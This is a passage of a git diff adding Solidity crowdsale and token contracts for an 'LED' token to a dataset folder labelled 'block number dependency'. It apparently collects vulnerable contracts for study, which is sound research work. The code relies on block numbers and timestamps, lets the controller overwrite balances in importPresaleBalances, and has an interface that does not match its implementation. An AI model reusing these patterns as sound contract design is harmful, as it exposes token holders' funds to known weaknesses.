_amount >= curTotalSupply); + require(previousBalanceTo + _amount >= previousBalanceTo); + + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + emit Transfer(0, _owner, _amount); + return true; + } + + modifier canMint() { + require(!mintingFinished); + _; + } + + + + function importPresaleBalances(address[] _addresses, uint256[] _balances) public onlyController returns (bool) { + require(presaleBalancesLocked == false); + + for (uint256 i = 0; i < _addresses.length; i++) { + totalSupplyAtCheckpoint += _balances[i]; + updateValueAtNow(balances[_addresses[i]], _balances[i]); + updateValueAtNow(totalSupplyHistory, totalSupplyAtCheckpoint); + emit Transfer(0, _addresses[i], _balances[i]); + } + return true; + } + + + function lockPresaleBalances() public onlyController returns (bool) { + presaleBalancesLocked = true; + return true; + } + + + function finishMinting() public onlyController returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } + + + function enableTransfers(bool _value) public onlyController { + transfersEnabled = _value; + } + + + function enableMasterTransfers(bool _value) public onlyController { + masterTransfersEnabled = _value; + } + + + function getValueAt(Checkpoint[] storage _checkpoints, uint256 _block) constant internal returns (uint256) { + + if (_checkpoints.length == 0) + return 0; + + if (_block >= _checkpoints[_checkpoints.length-1].fromBlock) + return _checkpoints[_checkpoints.length-1].value; + if (_block < _checkpoints[0].fromBlock) + return 0; + + + uint256 min = 0; + uint256 max = _checkpoints.length-1; + while (max > min) { + uint256 mid = (max + min + 1) / 2; + if (_checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return _checkpoints[min].value; + } + + + + function updateValueAtNow(Checkpoint[] storage _checkpoints, uint256 _value) internal { + if ((_checkpoints.length == 0) || (_checkpoints[_checkpoints.length-1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = _checkpoints[_checkpoints.length++]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = _checkpoints[_checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + function min(uint256 a, uint256 b) internal pure returns (uint) { + return a < b ? a : b; + } + + + function createCloneToken(uint256 _snapshotBlock, string _name, string _symbol) public returns(address) { + + if (_snapshotBlock == 0) { + _snapshotBlock = block.number; + } + + if (_snapshotBlock > block.number) { + _snapshotBlock = block.number; + } + + LedToken cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _name, + _symbol + ); + + + cloneToken.transferControl(msg.sender); + + + emit NewCloneToken(address(cloneToken)); + return address(cloneToken); + } + +} + + +contract LedTokenInterface is Controllable { + + bool public transfersEnabled; + + event Mint(address indexed to, uint256 amount); + event MintFinished(); + event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval(address indexed _owner, address indexed _spender, uint256 _amount); + event Transfer(address indexed from, address indexed to, uint256 value); + + function totalSupply() public constant returns (uint); + function totalSupplyAt(uint _blockNumber) public constant returns(uint); + function balanceOf(address _owner) public constant returns (uint256 balance); + function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint); + function transfer(address _to, uint256 _amount) public returns (bool success); + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); + function approve(address _spender, uint256 _amount) public returns (bool success); + function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint256 remaining); + function mint(address _owner, uint _amount) public returns (bool); + function importPresaleBalances(address[] _addresses, uint256[] _balances, address _presaleAddress) public returns (bool); + function lockPresaleBalances() public returns (bool); + function finishMinting() public returns (bool); + function enableTransfers(bool _value) public; + function enableMasterTransfers(bool _value) public; + function createCloneToken(uint _snapshotBlock, string _cloneTokenName, string _cloneTokenSymbol) public returns (address); + +} + + +contract Presale is Crowdsale { + + uint256 public tokenCap = PRESALE_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * PRESALE_BASE_PRICE_IN_WEI; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE_OTHERSALES && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = PRESALE_BASE_PRICE_IN_WEI; + + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 bonusPercentage = determineBonus(weiAmount); + uint256 bonusTokens; + + uint256 initialTokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + if(bonusPercentage>0){ + uint256 initialDivided = initialTokens.div(100); + bonusTokens = initialDivided.mul(bonusPercentage); + } else { + bonusTokens = 0; + } + uint256 tokens = initialTokens.add(bonusTokens); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function determineBonus(uint256 _wei) public view returns (uint256) { + if(_wei > PRESALE_LEVEL_1) { + if(_wei > PRESALE_LEVEL_2) { + if(_wei > PRESALE_LEVEL_3) { + if(_wei > PRESALE_LEVEL_4) { + if(_wei > PRESALE_LEVEL_5) { + return PRESALE_PERCENTAGE_5; + } else { + return PRESALE_PERCENTAGE_4; + } + } else { + return PRESALE_PERCENTAGE_3; + } + } else { + return PRESALE_PERCENTAGE_2; + } + } else { + return PRESALE_PERCENTAGE_1; + } + } else { + return 0; + } + } + + function finalize() public onlyOwner { + require(paused); + require(!finalized); + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + ledToken.transferControl(owner); + + emit Finalized(); + + finalized = true; + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + + function getInfoLevels() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, + uint256, uint256, uint256, uint256){ + return ( + PRESALE_LEVEL_1, + PRESALE_LEVEL_2, + PRESALE_LEVEL_3, + PRESALE_LEVEL_4, + PRESALE_LEVEL_5, + PRESALE_PERCENTAGE_1, + PRESALE_PERCENTAGE_2, + PRESALE_PERCENTAGE_3, + PRESALE_PERCENTAGE_4, + PRESALE_PERCENTAGE_5 + ); + } + +} + + +contract PrivateSale is Crowdsale { + + uint256 public tokenCap = PRIVATESALE_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * PRIVATESALE_BASE_PRICE_IN_WEI; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE_OTHERSALES && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = PRIVATESALE_BASE_PRICE_IN_WEI; + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 tokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function finalize() public onlyOwner { + require(paused); + require(!finalized); + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + ledToken.transferControl(owner); + + emit Finalized(); + + finalized = true; + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +contract TokenFactory { + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + string _tokenSymbol + ) public returns (LedToken) { + + LedToken newToken = new LedToken( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _tokenSymbol + ); + + newToken.transferControl(msg.sender); + return newToken; + } +} + +contract TokenFactoryInterface { + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + string _tokenSymbol + ) public returns (LedToken newToken); +} + + +contract TokenSale is Crowdsale { + + uint256 public tokenCap = ICO_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * ICO_BASE_PRICE_IN_WEI; + + uint256 public allocatedTokens; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE_OTHERSALES && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = ICO_BASE_PRICE_IN_WEI; + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 bonusPercentage = determineBonus(weiAmount); + uint256 bonusTokens; + + uint256 initialTokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + if(bonusPercentage>0){ + uint256 initialDivided = initialTokens.div(100); + bonusTokens = initialDivided.mul(bonusPercentage); + } else { + bonusTokens = 0; + } + uint256 tokens = initialTokens.add(bonusTokens); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function determineBonus(uint256 _wei) public view returns (uint256) { + if(_wei > ICO_LEVEL_1) { + if(_wei > ICO_LEVEL_2) { + if(_wei > ICO_LEVEL_3) { + if(_wei > ICO_LEVEL_4) { + if(_wei > ICO_LEVEL_5) { + return ICO_PERCENTAGE_5; + } else { + return ICO_PERCENTAGE_4; + } + } else { + return ICO_PERCENTAGE_3; + } + } else { + return ICO_PERCENTAGE_2; + } + } else { + return ICO_PERCENTAGE_1; + } + } else { + return 0; + } + } + + function allocateLedTokens() public onlyOwner whenNotFinalized { + require(!ledTokensAllocated); + allocatedTokens = LEDTEAM_TOKENS.mul(DECIMALS_MULTIPLIER); + ledToken.mint(ledMultiSig, allocatedTokens); + ledTokensAllocated = true; + } + + function finalize() public onlyOwner { + require(paused); + require(ledTokensAllocated); + + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + + ledToken.finishMinting(); + ledToken.enableTransfers(true); + emit Finalized(); + + finalized = true; + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + + function getInfoLevels() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, + uint256, uint256, uint256, uint256){ + return ( + ICO_LEVEL_1, + ICO_LEVEL_2, + ICO_LEVEL_3, + ICO_LEVEL_4, + ICO_LEVEL_5, + ICO_PERCENTAGE_1, + ICO_PERCENTAGE_2, + ICO_PERCENTAGE_3, + ICO_PERCENTAGE_4, + ICO_PERCENTAGE_5 + ); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2978.sol b/smart_contract_dataset/block number dependency/2978.sol new file mode 100644 index 0000000000000000000000000000000000000000..af15be63c1352af6887f3a8f79ab23603947d6e1 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2978.sol @@ -0,0 +1,1108 @@ +pragma solidity ^0.4.24; + +contract TokenInfo { + + uint256 public constant PRIVATESALE_BASE_PRICE_IN_WEI = 200000000000000; + uint256 public constant PRESALE_BASE_PRICE_IN_WEI = 600000000000000; + uint256 public constant ICO_BASE_PRICE_IN_WEI = 800000000000000; + uint256 public constant FIRSTSALE_BASE_PRICE_IN_WEI = 200000000000000; + + + uint256 public constant MIN_PURCHASE_OTHERSALES = 80000000000000000; + uint256 public constant MIN_PURCHASE = 1000000000000000000; + uint256 public constant MAX_PURCHASE = 1000000000000000000000; + + + + uint256 public constant PRESALE_PERCENTAGE_1 = 10; + uint256 public constant PRESALE_PERCENTAGE_2 = 15; + uint256 public constant PRESALE_PERCENTAGE_3 = 20; + uint256 public constant PRESALE_PERCENTAGE_4 = 25; + uint256 public constant PRESALE_PERCENTAGE_5 = 35; + + uint256 public constant ICO_PERCENTAGE_1 = 5; + uint256 public constant ICO_PERCENTAGE_2 = 10; + uint256 public constant ICO_PERCENTAGE_3 = 15; + uint256 public constant ICO_PERCENTAGE_4 = 20; + uint256 public constant ICO_PERCENTAGE_5 = 25; + + + + uint256 public constant PRESALE_LEVEL_1 = 5000000000000000000; + uint256 public constant PRESALE_LEVEL_2 = 10000000000000000000; + uint256 public constant PRESALE_LEVEL_3 = 15000000000000000000; + uint256 public constant PRESALE_LEVEL_4 = 20000000000000000000; + uint256 public constant PRESALE_LEVEL_5 = 25000000000000000000; + + uint256 public constant ICO_LEVEL_1 = 6666666666666666666; + uint256 public constant ICO_LEVEL_2 = 13333333333333333333; + uint256 public constant ICO_LEVEL_3 = 20000000000000000000; + uint256 public constant ICO_LEVEL_4 = 26666666666666666666; + uint256 public constant ICO_LEVEL_5 = 33333333333333333333; + + + uint256 public constant PRIVATESALE_TOKENCAP = 18750000; + uint256 public constant PRESALE_TOKENCAP = 18750000; + uint256 public constant ICO_TOKENCAP = 22500000; + uint256 public constant FIRSTSALE_TOKENCAP = 5000000; + uint256 public constant LEDTEAM_TOKENS = 35000000; + uint256 public constant TOTAL_TOKENCAP = 100000000; + + uint256 public constant DECIMALS_MULTIPLIER = 1 ether; + + address public constant LED_MULTISIG = 0x865e785f98b621c5fdde70821ca7cea9eeb77ef4; +} + + +contract Ownable { + address public owner; + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } + +} + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + constructor() public {} + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused { + require(paused); + _; + } + + + function pause() public onlyOwner whenNotPaused returns (bool) { + paused = true; + emit Pause(); + return true; + } + + + function unpause() public onlyOwner whenPaused returns (bool) { + paused = false; + emit Unpause(); + return true; + } +} + +contract ApproveAndCallReceiver { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + +contract Controllable { + address public controller; + + + + constructor() public { + controller = msg.sender; + } + + + modifier onlyController() { + require(msg.sender == controller); + _; + } + + + function transferControl(address newController) public onlyController { + if (newController != address(0)) { + controller = newController; + } + } + +} + + +contract ControllerInterface { + + function proxyPayment(address _owner) public payable returns(bool); + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + function onApprove(address _owner, address _spender, uint _amount) public returns(bool); +} + + +contract ERC20 { + + uint256 public totalSupply; + + function balanceOf(address _owner) public constant returns (uint256); + function transfer(address _to, uint256 _value) public returns (bool); + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool); + function approve(address _spender, uint256 _amount) public returns (bool); + function allowance(address _owner, address _spender) public constant returns (uint256); + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + +} + +contract Crowdsale is Pausable, TokenInfo { + + using SafeMath for uint256; + + LedTokenInterface public ledToken; + uint256 public startTime; + uint256 public endTime; + + uint256 public totalWeiRaised; + uint256 public tokensMinted; + uint256 public totalSupply; + uint256 public contributors; + uint256 public surplusTokens; + + bool public finalized; + + bool public ledTokensAllocated; + address public ledMultiSig = LED_MULTISIG; + + + + + + bool public started = false; + + event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); + event NewClonedToken(address indexed _cloneToken); + event OnTransfer(address _from, address _to, uint _amount); + event OnApprove(address _owner, address _spender, uint _amount); + event LogInt(string _name, uint256 _value); + event Finalized(); + + + + + + + + + + + + + + + + + + + function forwardFunds() internal { + ledMultiSig.transfer(msg.value); + } + + + + function validPurchase() internal constant returns (bool) { + uint256 current = now; + bool presaleStarted = (current >= startTime || started); + bool presaleNotEnded = current <= endTime; + bool nonZeroPurchase = msg.value != 0; + return nonZeroPurchase && presaleStarted && presaleNotEnded; + } + + + function totalSupply() public constant returns (uint256) { + return ledToken.totalSupply(); + } + + + function balanceOf(address _owner) public constant returns (uint256) { + return ledToken.balanceOf(_owner); + } + + + function changeController(address _newController) public onlyOwner { + require(isContract(_newController)); + ledToken.transferControl(_newController); + } + + function enableMasterTransfers() public onlyOwner { + ledToken.enableMasterTransfers(true); + } + + function lockMasterTransfers() public onlyOwner { + ledToken.enableMasterTransfers(false); + } + + function forceStart() public onlyOwner { + started = true; + } + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) + return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + modifier whenNotFinalized() { + require(!finalized); + _; + } + +} + +contract FirstSale is Crowdsale { + + uint256 public tokenCap = FIRSTSALE_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * FIRSTSALE_BASE_PRICE_IN_WEI; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = FIRSTSALE_BASE_PRICE_IN_WEI; + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 tokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function getInfo() public view returns(uint256, uint256, string, bool, uint256, uint256, uint256, + bool, uint256, uint256){ + uint256 decimals = 18; + string memory symbol = "LED"; + bool transfersEnabled = ledToken.transfersEnabled(); + return ( + TOTAL_TOKENCAP, + decimals, + symbol, + transfersEnabled, + contributors, + totalWeiRaised, + tokenCap, + started, + startTime, + endTime + ); + } + + function finalize() public onlyOwner { + require(paused); + require(!finalized); + surplusTokens = cap - tokensMinted; + ledToken.mint(ledMultiSig, surplusTokens); + ledToken.transferControl(owner); + + emit Finalized(); + + finalized = true; + } + +} + +contract LedToken is Controllable { + + using SafeMath for uint256; + LedTokenInterface public parentToken; + TokenFactoryInterface public tokenFactory; + + string public name; + string public symbol; + string public version; + uint8 public decimals; + + uint256 public parentSnapShotBlock; + uint256 public creationBlock; + bool public transfersEnabled; + + bool public masterTransfersEnabled; + address public masterWallet = 0x865e785f98b621c5fdde70821ca7cea9eeb77ef4; + + + struct Checkpoint { + uint128 fromBlock; + uint128 value; + } + + Checkpoint[] totalSupplyHistory; + mapping(address => Checkpoint[]) balances; + mapping (address => mapping (address => uint)) allowed; + + bool public mintingFinished = false; + bool public presaleBalancesLocked = false; + + uint256 public totalSupplyAtCheckpoint; + + event MintFinished(); + event NewCloneToken(address indexed cloneToken); + event Approval(address indexed _owner, address indexed _spender, uint256 _amount); + event Transfer(address indexed from, address indexed to, uint256 value); + + + + + constructor( + address _tokenFactory, + address _parentToken, + uint256 _parentSnapShotBlock, + string _tokenName, + string _tokenSymbol + ) public { + tokenFactory = TokenFactoryInterface(_tokenFactory); + parentToken = LedTokenInterface(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + name = _tokenName; + symbol = _tokenSymbol; + decimals = 18; + transfersEnabled = false; + masterTransfersEnabled = false; + creationBlock = block.number; + version = '0.1'; + } + + + + function totalSupply() public constant returns (uint256) { + return totalSupplyAt(block.number); + } + + + function totalSupplyAt(uint256 _blockNumber) public constant returns(uint256) { + + + + + + if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0x0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + function balanceOfAt(address _owner, uint256 _blockNumber) public constant returns (uint256) { + + + + + + if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0x0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + return doTransfer(msg.sender, _to, _amount); + } + + + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + return doTransfer(_from, _to, _amount); + } + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); + + allowed[msg.sender][_spender] = _amount; + emit Approval(msg.sender, _spender, _amount); + return true; + } + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) { + approve(_spender, _amount); + + ApproveAndCallReceiver(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + function doTransfer(address _from, address _to, uint256 _amount) internal returns(bool) { + + if (msg.sender != masterWallet) { + require(transfersEnabled); + } else { + require(masterTransfersEnabled); + } + + require(_amount > 0); + require(parentSnapShotBlock < block.number); + require((_to != address(0)) && (_to != address(this))); + + + + uint256 previousBalanceFrom = balanceOfAt(_from, block.number); + require(previousBalanceFrom >= _amount); + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + uint256 previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + emit Transfer(_from, _to, _amount); + return true; + } + + + + function mint(address _owner, uint256 _amount) public onlyController canMint returns (bool) { + uint256 curTotalSupply = totalSupply(); + uint256 previousBalanceTo = balanceOf(_owner); + + require(curTotalSupply + _amount >= curTotalSupply); + require(previousBalanceTo + _amount >= previousBalanceTo); + + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + emit Transfer(0, _owner, _amount); + return true; + } + + modifier canMint() { + require(!mintingFinished); + _; + } + + + + function importPresaleBalances(address[] _addresses, uint256[] _balances) public onlyController returns (bool) { + require(presaleBalancesLocked == false); + + for (uint256 i = 0; i < _addresses.length; i++) { + totalSupplyAtCheckpoint += _balances[i]; + updateValueAtNow(balances[_addresses[i]], _balances[i]); + updateValueAtNow(totalSupplyHistory, totalSupplyAtCheckpoint); + emit Transfer(0, _addresses[i], _balances[i]); + } + return true; + } + + + function lockPresaleBalances() public onlyController returns (bool) { + presaleBalancesLocked = true; + return true; + } + + + function finishMinting() public onlyController returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } + + + function enableTransfers(bool _value) public onlyController { + transfersEnabled = _value; + } + + + function enableMasterTransfers(bool _value) public onlyController { + masterTransfersEnabled = _value; + } + + + function getValueAt(Checkpoint[] storage _checkpoints, uint256 _block) constant internal returns (uint256) { + + if (_checkpoints.length == 0) + return 0; + + if (_block >= _checkpoints[_checkpoints.length-1].fromBlock) + return _checkpoints[_checkpoints.length-1].value; + if (_block < _checkpoints[0].fromBlock) + return 0; + + + uint256 min = 0; + uint256 max = _checkpoints.length-1; + while (max > min) { + uint256 mid = (max + min + 1) / 2; + if (_checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return _checkpoints[min].value; + } + + + + function updateValueAtNow(Checkpoint[] storage _checkpoints, uint256 _value) internal { + if ((_checkpoints.length == 0) || (_checkpoints[_checkpoints.length-1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = _checkpoints[_checkpoints.length++]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = _checkpoints[_checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + function min(uint256 a, uint256 b) internal pure returns (uint) { + return a < b ? a : b; + } + + + function createCloneToken(uint256 _snapshotBlock, string _name, string _symbol) public returns(address) { + + if (_snapshotBlock == 0) { + _snapshotBlock = block.number; + } + + if (_snapshotBlock > block.number) { + _snapshotBlock = block.number; + } + + LedToken cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _name, + _symbol + ); + + + cloneToken.transferControl(msg.sender); + + + emit NewCloneToken(address(cloneToken)); + return address(cloneToken); + } + +} + + +contract LedTokenInterface is Controllable { + + bool public transfersEnabled; + + event Mint(address indexed to, uint256 amount); + event MintFinished(); + event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval(address indexed _owner, address indexed _spender, uint256 _amount); + event Transfer(address indexed from, address indexed to, uint256 value); + + function totalSupply() public constant returns (uint); + function totalSupplyAt(uint _blockNumber) public constant returns(uint); + function balanceOf(address _owner) public constant returns (uint256 balance); + function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint); + function transfer(address _to, uint256 _amount) public returns (bool success); + function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); + function approve(address _spender, uint256 _amount) public returns (bool success); + function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint256 remaining); + function mint(address _owner, uint _amount) public returns (bool); + function importPresaleBalances(address[] _addresses, uint256[] _balances, address _presaleAddress) public returns (bool); + function lockPresaleBalances() public returns (bool); + function finishMinting() public returns (bool); + function enableTransfers(bool _value) public; + function enableMasterTransfers(bool _value) public; + function createCloneToken(uint _snapshotBlock, string _cloneTokenName, string _cloneTokenSymbol) public returns (address); + +} + + +contract Presale is Crowdsale { + + uint256 public tokenCap = PRESALE_TOKENCAP; + uint256 public cap = tokenCap * DECIMALS_MULTIPLIER; + uint256 public weiCap = tokenCap * PRESALE_BASE_PRICE_IN_WEI; + + constructor(address _tokenAddress, uint256 _startTime, uint256 _endTime) public { + + + startTime = _startTime; + endTime = _endTime; + ledToken = LedTokenInterface(_tokenAddress); + + assert(_tokenAddress != 0x0); + assert(_startTime > 0); + assert(_endTime > _startTime); + } + + + function() public payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable whenNotPaused whenNotFinalized { + require(_beneficiary != 0x0); + require(validPurchase()); + + uint256 weiAmount = msg.value; + require(weiAmount >= MIN_PURCHASE_OTHERSALES && weiAmount <= MAX_PURCHASE); + uint256 priceInWei = PRESALE_BASE_PRICE_IN_WEI; + + totalWeiRaised = totalWeiRaised.add(weiAmount); + + uint256 bonusPercentage = determineBonus(weiAmount); + uint256 bonusTokens; + + uint256 initialTokens = weiAmount.mul(DECIMALS_MULTIPLIER).div(priceInWei); + if(bonusPercentage>0){ + uint256 initialDivided = initialTokens.div(100); + bonusTokens = initialDivided.mul(bonusPercentage); + } else { + bonusTokens = 0; + } + uint256 tokens = initialTokens.add(bonusTokens); + tokensMinted = tokensMinted.add(tokens); + require(tokensMinted < cap); + + contributors = contributors.add(1); + + ledToken.mint(_beneficiary, tokens); + emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); + forwardFunds(); + } + + function determineBonus(uint256 _wei) public view returns (uint256) { + if(_wei > PRESALE_LEVEL_1) { + if(_wei > PRESALE_LEVEL_2) { + if(_wei > PRESALE_LEVEL_3) { + if(_wei > PRESALE_LEVEL_4) { + if(_wei > PRESALE_LEVEL_5) { + 